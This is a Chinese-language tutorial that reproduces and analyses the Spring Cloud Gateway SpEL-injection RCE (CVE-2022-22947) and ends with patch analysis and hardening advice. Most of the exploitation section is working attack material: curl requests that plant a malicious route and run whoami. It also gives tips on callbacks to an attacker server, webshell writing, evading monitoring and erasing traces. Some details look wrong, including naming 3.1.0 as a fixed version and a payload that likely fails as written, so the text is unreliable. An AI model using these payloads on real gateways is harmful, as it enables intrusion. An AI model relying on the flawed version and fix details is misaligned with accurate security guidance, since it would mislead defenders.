1. 项目概述与背景
最近在整理内部安全审计的案例库,翻到了去年一个挺典型的网关层漏洞利用记录,就是Spring Cloud Gateway的那个SpEL表达式注入导致的远程代码执行(CVE-2022-22947)。这个漏洞在当时影响面不小,因为Gateway作为微服务架构的流量入口,一旦被攻破,后果往往很严重。我记得当时很多团队连夜排查和升级,网上也出现了各种复现文章,但有些要么过于简略只给了个Payload,要么环境搭建复杂劝退了不少想深入研究的人。今天我就结合自己当时的测试和后续的代码审计,把这个漏洞从头到尾、掰开揉碎了讲清楚,不仅告诉你“怎么打”,更重点分析“为什么能这么打”,以及在实际渗透测试或红队评估中,如何快速识别和利用这类漏洞。无论你是安全研究员、开发工程师还是运维人员,理解这个漏洞的原理和利用方式,对于加固自己的网关服务或进行有效的安全测试都至关重要。
简单来说,CVE-2022-22947漏洞允许攻击者通过构造特定的HTTP请求,在Spring Cloud Gateway应用上执行任意SpEL(Spring Expression Language)表达式,从而绕过安全限制,最终实现远程命令执行。它的核心问题出在Gateway对路由(Route)的某些操作(特别是通过/actuator/gateway/routes端点动态添加路由)中,对用户输入过滤不严,导致恶意的SpEL表达式被解析执行。这个漏洞的利用门槛相对较低,但危害极高,因为它直接威胁到业务网关的安全。接下来,我会从环境搭建、漏洞原理、手工复现、代码溯源到防御加固,完整地走一遍这个流程。
2. 漏洞原理深度剖析
要真正理解这个漏洞,不能只停留在“发送一个Payload就能RCE”的层面。我们需要深入到Spring Cloud Gateway的架构和SpEL表达式的工作机制中去。
2.1 Spring Cloud Gateway 与 Actuator 端点
Spring Cloud Gateway 是Spring官方推出的一个API网关,基于WebFlux(响应式编程模型)构建。它核心的功能是路由转发、过滤器和负载均衡。为了方便运维和监控,Spring Boot Actuator模块提供了大量生产就绪的特性,比如健康检查、指标收集、环境信息查看等。Gateway也暴露了一些特定的Actuator端点来管理路由,其中最关键的就是/actuator/gateway/routes。
这个端点支持POST请求来动态地创建新的路由规则。其请求体是一个JSON结构,描述了新路由的ID、目标URI、断言(Predicates)和过滤器(Filters)。漏洞的入口,就藏在“过滤器”的配置里。当Gateway接收到创建路由的请求时,它会将这个JSON配置反序列化为一个RouteDefinition对象,并最终应用到网关的运行时路由表中。
2.2 SpEL表达式注入的根源
Spring Expression Language (SpEL) 是Spring框架提供的一种强大的表达式语言,用于在运行时查询和操作对象图。它功能非常强大,支持方法调用、访问属性、数学运算、逻辑判断等。在Spring生态中,SpEL被广泛用于注解(如@Value)、XML配置和Spring Security的权限表达式等。
在Spring Cloud Gateway的早期版本(受影响版本为 3.1.0 之前 和 3.0.0 至 3.0.6)中,存在一个设计上的安全隐患:在将路由配置加载到应用上下文时,会对某些配置值进行SpEL表达式解析。具体来说,在RouteDefinitionRouteLocator类的loadGatewayFilters方法中,当处理路由的过滤器配置时,如果过滤器的参数值是以#{开头和}结尾,Gateway会认为这是一个SpEL表达式,并调用StandardEvaluationContext对其进行求值(evaluate)。
这里就出现了第一个关键问题:使用的StandardEvaluationContext是SpEL的“标准”求值上下文,它拥有完整的权限,可以执行任意代码,包括调用Runtime.getRuntime().exec()这样的危险方法。与之相对的是SimpleEvaluationContext,它被设计用于数据绑定等简单场景,功能受限,更为安全。
第二个关键问题是:用户可以通过POST/actuator/gateway/routes/{id}传入的过滤器参数,最终会流入到这个解析流程中,并且没有经过任何有效的过滤或沙箱处理。攻击者可以精心构造一个过滤器,其参数值就是一个恶意的SpEL表达式,当Gateway创建并激活这个路由时,表达式就会被执行。
2.3 漏洞触发的完整链条
让我们把整个链条串起来:
- 攻击入口:攻击者向目标Spring Cloud Gateway应用发送一个POST请求到
/actuator/gateway/routes/{new_route_id}。 - 恶意载荷:请求体中包含一个恶意的路由定义,其中在某个过滤器的参数里,嵌入了SpEL表达式,例如
#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}。 - 配置加载:Gateway接收请求,将JSON反序列化为
RouteDefinition,并开始加载这个路由。 - 表达式解析:在加载过滤器配置的阶段,
RouteDefinitionRouteLocator检测到参数值以#{开头,便将其识别为SpEL表达式。 - 危险求值:使用权限过高的
StandardEvaluationContext对该表达式进行求值。 - 命令执行:SpEL引擎执行了
Runtime.getRuntime().exec(\"calc\"),成功在服务器上启动了计算器程序(或其他任意命令),完成RCE。
注意:Actuator端点默认可能不开启,或者路径被修改。在实际测试中,需要先进行信息收集,确认
/actuator/gateway/routes端点是否可访问。此外,Spring Boot 2.x之后,出于安全考虑,除了/health和/info,其他Actuator端点默认是不对外网暴露的,需要显式配置management.endpoints.web.exposure.include=*或gateway,health等。很多漏洞环境正是模拟了这种不安全配置。
3. 漏洞复现环境搭建
“工欲善其事,必先利其器”。一个稳定、可控的复现环境是分析漏洞的基础。我不推荐直接在网上找不知名的Docker镜像或jar包,最稳妥的方式是自己从源码构建一个存在漏洞的Gateway应用。
3.1 环境与工具准备
你需要准备以下工具:
- JDK 8 或 11:Spring Cloud Gateway 3.x 通常兼容JDK 8及以上。我测试时用的是JDK 11。
- Maven 3.6+:用于项目构建和依赖管理。
- IDE(可选但推荐):IntelliJ IDEA 或 VS Code,方便查看和调试源码。
- HTTP请求工具:
curl、Postman 或 Burp Suite。Burp Suite在渗透测试中更常用,可以方便地拦截和重放请求。 - 网络环境:确保你的测试机可以访问搭建的漏洞应用。
3.2 创建漏洞版本Spring Cloud Gateway项目
我们通过Spring Initializr来快速生成一个项目骨架,然后手动修改依赖版本。
生成项目:访问 start.spring.io ,选择:
- Project: Maven Project
- Language: Java
- Spring Boot:2.6.6(这是一个受影响的版本,其对应的Spring Cloud版本为2021.0.1,Gateway版本通常在3.1.0以下)
- Project Metadata: 按需填写Group、Artifact(例如
com.example,gateway-vuln-demo)。 - Dependencies: 添加Gateway和Spring Boot Actuator。
修改
pom.xml,锁定漏洞版本:生成项目后,解压并用IDE打开。我们需要确保Spring Cloud Gateway的版本是存在漏洞的。查看pom.xml中的Spring Cloud版本管理。在2.6.6的Boot版本下,对应的Spring Cloud版本是2021.0.1。我们可以在<properties>标签内显式指定Gateway的版本,或者直接使用这个Cloud版本,它通常会引入有漏洞的Gateway。为了精确控制,我们可以添加如下依赖管理(如果父pom没指定):<dependencyManagement> <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-dependencies</artifactId> <version>2021.0.1</version> <!-- 此版本对应的spring-cloud-starter-gateway版本约为3.1.0以下 --> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement>然后确认
spring-cloud-starter-gateway的依赖。配置
application.yml:在src/main/resources/下创建application.yml,写入以下关键配置以开启并暴露Actuator端点,并设置一个简单的路由(非必须,但方便测试网关基本功能):server: port: 8080 spring: application: name: gateway-vuln-demo cloud: gateway: routes: - id: default_route uri: https://httpbin.org predicates: - Path=/get management: endpoints: web: exposure: include: "*" # 关键!暴露所有Actuator端点,包括/gateway/routes endpoint: gateway: enabled: true # 确保gateway端点启用重要安全提示:
management.endpoints.web.exposure.include=“*”在生产环境中是极度危险的配置,这相当于把系统的后门完全敞开。这里仅用于漏洞复现研究。编译与启动:在项目根目录下执行
mvn clean spring-boot:run。如果一切顺利,控制台会输出Spring Boot的启动日志,并在8080端口启动服务。
3.3 环境验证
启动后,我们可以先进行简单的验证,确保环境正常。
- 访问
http://localhost:8080/actuator,应该能看到一个JSON,列出了所有暴露的端点,其中应包含gateway的链接。 - 访问
http://localhost:8080/actuator/gateway/routes,应该能看到我们配置的default_route信息。 - 访问
http://localhost:8080/get,网关应该能将请求转发到https://httpbin.org/get并返回结果。
至此,一个存在CVE-2022-22947漏洞的Spring Cloud Gateway测试环境就搭建完成了。
4. 手工漏洞复现与利用
现在进入最核心的部分:如何利用这个漏洞。我们将完全通过手工发送HTTP请求来完成,这有助于你理解漏洞利用的每一个细节。
4.1 探测漏洞是否存在
在发起攻击前,我们需要确认目标是否存在漏洞点。主要检查两项:
- Actuator端点是否暴露:访问
http://target:port/actuator或http://target:port/actuator/gateway/routes,看是否返回JSON信息。如果返回404或401/403,则可能端点未开启或需要认证,漏洞可能无法直接利用。 - Gateway版本:通过
/actuator/info或应用启动日志(如果可获取)来判断Spring Cloud Gateway的版本。版本在 3.1.0 之前 和 3.0.0 至 3.0.6 的均受影响。
4.2 构造恶意路由定义(Payload)
漏洞利用的核心是向/actuator/gateway/routes/{id}发送一个POST请求,其中{id}是你为这条恶意路由起的任意名字,比如hack。
请求体是一个JSON,结构如下。关键点在于filters部分,我们需要添加一个过滤器,并在其参数中嵌入SpEL表达式。
一个经典的用于命令执行的Payload构造如下:
{ "id": "hack", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new java.lang.String(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream())}" } }], "uri": "http://example.com", "predicates": [{ "name": "Path", "args": { "pattern": "/hack/**" } }] }让我们拆解这个Payload:
id: 路由的唯一标识,任意字符串。filters: 定义过滤器数组。这里使用了Gateway内置的AddResponseHeader过滤器,它的作用是在响应头中添加一个字段。args:AddResponseHeader过滤器需要两个参数:name(头字段名)和value(头字段值)。我们将恶意的SpEL表达式放在value中。- SpEL表达式详解:
#{new java.lang.String(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream())}T(java.lang.Runtime).getRuntime(): SpEL中,T()操作符用于指定类类型。这里获取了Runtime类的单例实例。.exec(\"whoami\"): 调用exec方法执行系统命令whoami(在Windows上可换成calc或cmd /c dir)。.getInputStream(): 获取命令执行进程的输出流。new java.lang.String(...): 将字节输入流转换为字符串。这一步很重要,因为过滤器的value参数期望是一个字符串值。如果不转换,表达式求值后可能是一个ProcessInputStream对象,无法正常赋值,可能导致错误而中断利用链。将其转为字符串后,这个字符串(即命令执行结果)会被赋值给响应头Result的值。
uri: 这个路由转发到的目标URI。这里可以填一个任意存在的地址,如http://example.com,因为我们的目的不是真的转发,而是触发过滤器执行。predicates: 断言数组,决定什么请求会匹配这个路由。这里使用Path断言,匹配所有以/hack/开头的请求。这意味着我们稍后需要访问/hack/xxx来触发这个恶意路由。
4.3 分步执行攻击
利用过程分为三步:添加恶意路由、刷新路由使其生效、触发路由执行命令。
步骤一:添加恶意路由使用curl或 Burp Suite 发送POST请求。
curl -X POST http://localhost:8080/actuator/gateway/routes/hack \ -H "Content-Type: application/json" \ -d '{ "id": "hack", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new java.lang.String(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream())}" } }], "uri": "http://example.com", "predicates": [{ "name": "Path", "args": { "pattern": "/hack/**" } }] }'如果成功,服务器应返回201 Created状态码,或者200 OK。
步骤二:刷新路由(使新路由生效)仅仅添加路由,Gateway并不会立即加载它。需要显式触发刷新操作。
curl -X POST http://localhost:8080/actuator/gateway/refresh发送一个POST请求到/actuator/gateway/refresh端点。成功后返回200 OK。
步骤三:触发恶意路由(执行命令)现在,访问我们定义的恶意路由。根据上面的断言,我们需要访问/hack/下的任何路径。
curl http://localhost:8080/hack/test这个请求会匹配到我们创建的hack路由。Gateway会处理这个请求,应用路由中定义的过滤器。在应用AddResponseHeader过滤器时,它会尝试计算value参数中的SpEL表达式,从而执行whoami命令。
步骤四:查看结果命令执行了,但输出在哪里?在我们的Payload里,命令执行的结果被转换成了字符串,并设置为响应头Result的值。因此,我们需要查看上一步请求的响应头。
curl -i http://localhost:8080/hack/test在返回的HTTP响应头中,你应该能看到类似这样的一行:
Result: your-username这里的your-username就是whoami命令的执行结果,证明RCE成功。
4.4 利用技巧与变形
命令执行无回显的处理:上面的方法依赖于将结果输出到响应头。如果命令执行没有输出,或者你想执行其他操作(如反弹Shell),就需要变通。
- 使用
curl或wget外带数据:可以执行curl http://your-server.com/或wget http://your-server.com/来向你的监听服务器发起请求,通过查询参数或路径携带信息。 - 使用
ping或sleep进行布尔盲注:通过命令执行的时间延迟来判断是否成功。例如,执行ping -c 10 127.0.0.1会造成10秒延迟。 - 写入Web目录:如果知道Web可写目录,可以执行
echo '<?php phpinfo();?>' > /tmp/shell.php之类的命令写入Webshell。
- 使用
使用其他过滤器:
AddResponseHeader只是其中一个可利用的过滤器。理论上,任何接受参数且参数值会经过SpEL解析的过滤器都可能被利用。例如SetStatus、SetResponseHeader等。在漏洞修复的代码分析中,我们可以看到补丁修复了多个过滤器。绕过可能的WAF或过滤:如果对
#{}有简单过滤,可以尝试SpEL的其他表达式格式或编码。但核心漏洞点在于解析逻辑,通常对表达式内容的过滤较少。
实操心得:在实际渗透测试中,如果直接执行
calc或touch /tmp/test这类有副作用的命令,可能会被监控发现。更隐蔽的做法是先使用id、whoami、uname -a等命令进行信息收集,确认权限和环境后,再规划下一步行动。同时,利用完成后务必清理痕迹,删除添加的恶意路由(DELETE /actuator/gateway/routes/hack),并再次刷新。
5. 漏洞代码溯源与补丁分析
理解漏洞的代码级根源,能让你更深刻地认识它,并能在代码审计中快速识别同类问题。
5.1 漏洞代码定位
漏洞的核心位于spring-cloud-gateway-server模块的org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator类中。具体方法是loadGatewayFilters。
我们来看一下简化版的漏洞代码逻辑(基于漏洞版本):
private List<GatewayFilter> loadGatewayFilters(String routeId, List<FilterDefinition> filterDefinitions) { List<GatewayFilter> filters = new ArrayList<>(); for (FilterDefinition filterDefinition : filterDefinitions) { // 通过过滤器定义找到对应的过滤器工厂 GatewayFilterFactory<?> factory = this.gatewayFilterFactories.get(filterDefinition.getName()); // 准备参数,这里会调用一个 `normalizeProperties` 方法 Map<String, Object> args = normalizeProperties(filterDefinition, factory); // 使用参数创建过滤器 GatewayFilter filter = factory.apply(args); filters.add(filter); } return filters; }问题出在normalizeProperties方法或其调用的更深层方法中。它会处理过滤器参数args。在某个环节,会对参数值进行判断:如果值是一个字符串,并且以#{开头、以}结尾,则将其识别为SpEL表达式,并调用this.beanFactory.getBean(SpelExpressionParser.class).parseExpression(rawValue).getValue(context)进行解析。
而这里的context正是前面提到的、权限过大的StandardEvaluationContext。它允许表达式调用任何Java方法,包括危险的Runtime.exec。
5.2 官方补丁分析
Spring官方在后续版本中修复了此漏洞。修复方式主要有两种,通常结合使用:
- 替换求值上下文:将
StandardEvaluationContext替换为功能受限的SimpleEvaluationContext。SimpleEvaluationContext默认不支持方法调用、构造函数调用等危险操作,从根本上限制了SpEL表达式的能力。 - 禁用特定过滤器中的SpEL解析:对于某些不必要支持复杂表达式的过滤器参数,直接关闭其SpEL解析功能。
例如,在修复后的RouteDefinitionRouteLocator代码中,你可能看到类似这样的改动:
// 修复后,创建了一个受限的 EvaluationContext EvaluationContext context = new SimpleEvaluationContext.Builder() .withRootObject(/* ... */) .build(); // 或者,在某些过滤器工厂的 `shortcutType` 配置中,明确指定不进行SpEL解析。如何检查你的项目是否已修复?
- 升级版本:直接升级Spring Cloud Gateway到安全版本(3.1.0+ 或 3.0.7+)是最可靠的方法。
- 代码检查:如果你无法升级,可以检查项目中
RouteDefinitionRouteLocator类的相关代码,看是否使用了SimpleEvaluationContext。 - 依赖检查:运行
mvn dependency:tree | findstr gateway或gradle dependencies,确认spring-cloud-starter-gateway的版本。
5.3 从漏洞中学到的代码审计思路
这个漏洞给我们的代码审计提供了经典范本:
- 关注“动态”功能:任何允许用户动态配置、并能影响程序行为的功能点都是高危审计对象,如路由、规则、模板、脚本的配置。
- 追踪用户输入:从HTTP入口(如Controller、Actuator端点)开始,追踪用户可控的数据流,看它最终流向哪里。重点看是否流向了解释器(如SpEL、OGNL、EL、JavaScript引擎、数据库SQL引擎等)。
- 检查解释器上下文:当发现用户输入被某种解释器处理时,立即检查使用的“上下文”(Context)或“沙箱”(Sandbox)是否安全。使用全功能上下文(如
StandardEvaluationContext、ScriptEngine未加限制)是高风险信号。 - 关注默认配置:像Actuator端点这种强大的运维工具,其默认暴露范围和安全配置需要格外留意。
6. 漏洞防御与加固建议
复现漏洞是为了更好地防御它。对于开发、运维和安全团队,针对CVE-2022-22947及其同类漏洞,可以采取以下措施:
6.1 立即缓解措施
- 升级组件:这是最根本的解决方案。将Spring Cloud Gateway升级到已修复的版本(3.1.0+ 或 3.0.7+)。同时升级Spring Boot和Spring Cloud的BOM版本,确保所有依赖兼容。
- 禁用或保护Actuator端点:如果不需要动态更新路由,可以考虑完全禁用Gateway的Actuator端点。
如果确实需要,则必须严格限制其访问:management.endpoint.gateway.enabled=false- 网络层隔离:确保管理端点(
/actuator/*)仅在内网或通过VPN访问,不暴露在公网。 - 启用认证:集成Spring Security,为Actuator端点配置强身份验证和授权。例如,只允许具有特定角色(如
ACTUATOR_ADMIN)的用户访问。 - 修改上下文路径:通过
management.endpoints.web.base-path=/manage修改默认路径,增加攻击者探测难度。 - 精细化暴露:不要使用
include=‘*’。只暴露必要的端点,例如health, info, metrics。
management.endpoints.web.exposure.include=health,info,metrics - 网络层隔离:确保管理端点(
6.2 长期安全加固
- 最小权限原则:运行Spring Cloud Gateway的应用程序账户,在操作系统层面应遵循最小权限原则,避免使用root或高权限账户运行。这样即使被RCE,攻击者获得的权限也有限。
- 网络分层与WAF:在网关前方部署WAF(Web应用防火墙),可以拦截一些已知攻击模式的恶意请求。同时,做好网络分区,将网关部署在DMZ区域,严格限制其向后端服务发起的连接。
- 安全开发生命周期(SDL):在开发阶段就引入安全考量。
- 代码审计:定期对自定义的过滤器、断言等组件进行代码安全审计,检查是否存在不安全的反序列化、表达式注入等问题。
- 依赖扫描:使用OWASP Dependency-Check、Snyk等工具持续扫描项目依赖,及时发现并修复包含已知漏洞的第三方库。
- 安全配置检查清单:将安全配置(如Actuator暴露范围、加密算法、会话设置等)纳入部署检查清单。
- 监控与告警:
- 异常路由监控:监控Gateway中路由规则的异常变化,特别是通过API动态添加的路由。
- 命令执行监控:在服务器层面,监控异常的进程创建行为,尤其是由Java应用发起的
Runtime.exec或ProcessBuilder调用。 - 日志审计:确保Gateway和应用的访问日志、错误日志被完整收集和分析,设置针对可疑请求(如频繁访问
/actuator/gateway/routes)的告警规则。
6.3 针对开发者的建议
如果你正在基于Spring Cloud Gateway进行二次开发或编写自定义过滤器:
- 谨慎处理用户输入:在自定义过滤器的参数解析中,避免直接将用户输入传递给解释器。
- 使用安全的上下文:如果必须使用SpEL,务必使用
SimpleEvaluationContext并仔细配置其允许的操作范围。 - 进行输入验证与过滤:对用户输入进行严格的白名单验证,只允许预期的字符和格式。
- 查阅官方安全公告:关注Spring官方安全公告页面,及时获取组件漏洞信息。
7. 拓展思考与同类漏洞关联
CVE-2022-22947不是一个孤立的案例,它是“表达式注入”漏洞家族中的一个典型代表。理解它有助于我们举一反三。
- SpEL注入的历史:Spring框架历史上出现过多次SpEL注入漏洞,例如在Spring Data Commons (CVE-2018-1273)、Spring Security OAuth (CVE-2016-4977) 中都有出现。它们的模式高度相似:用户输入可控,并最终流入到使用
StandardEvaluationContext的SpEL解析流程中。 - 其他表达式语言注入:其他模板或表达式语言也存在类似问题,如:
- OGNL注入:Apache Struts2 系列漏洞(如S2-045, S2-059)的常客。
- EL注入:Java EE中的Expression Language注入。
- Freemarker/SSTI:服务端模板注入,如某些CMS或框架未对模板变量进行过滤。
- 漏洞利用的共性:这类漏洞的利用链通常为:找到用户输入点 -> 输入流入表达式解析器 -> 解析器上下文权限过高 -> 构造表达式实现RCE或敏感信息读取。在审计和防御时,可以沿着这条链进行思考和检查。
- 云原生环境下的特殊性:在Kubernetes环境中,Spring Cloud Gateway可能作为Ingress Controller或Sidecar运行。一旦被攻破,攻击者可能利用容器服务账户的权限,进一步攻击集群内部网络或其他服务,造成“横向移动”。因此,在云原生环境下,除了修复应用漏洞,还需结合Pod安全策略、网络策略等进行纵深防御。
回过头看,CVE-2022-22947的复现过程并不复杂,但背后涉及到的框架机制、安全理念和防御思路却非常丰富。从漏洞复现中,我们学到的不仅仅是一个攻击Payload,更是一种发现和解决问题的安全思维方式。对于开发者,它提醒我们默认安全配置的重要性;对于安全人员,它提供了一个从黑盒测试到白盒代码审计的完整范例。在微服务和云原生架构普及的今天,网关安全的重要性不言而喻,希望这篇详细的复现与分析能为大家的工作带来一些切实的帮助。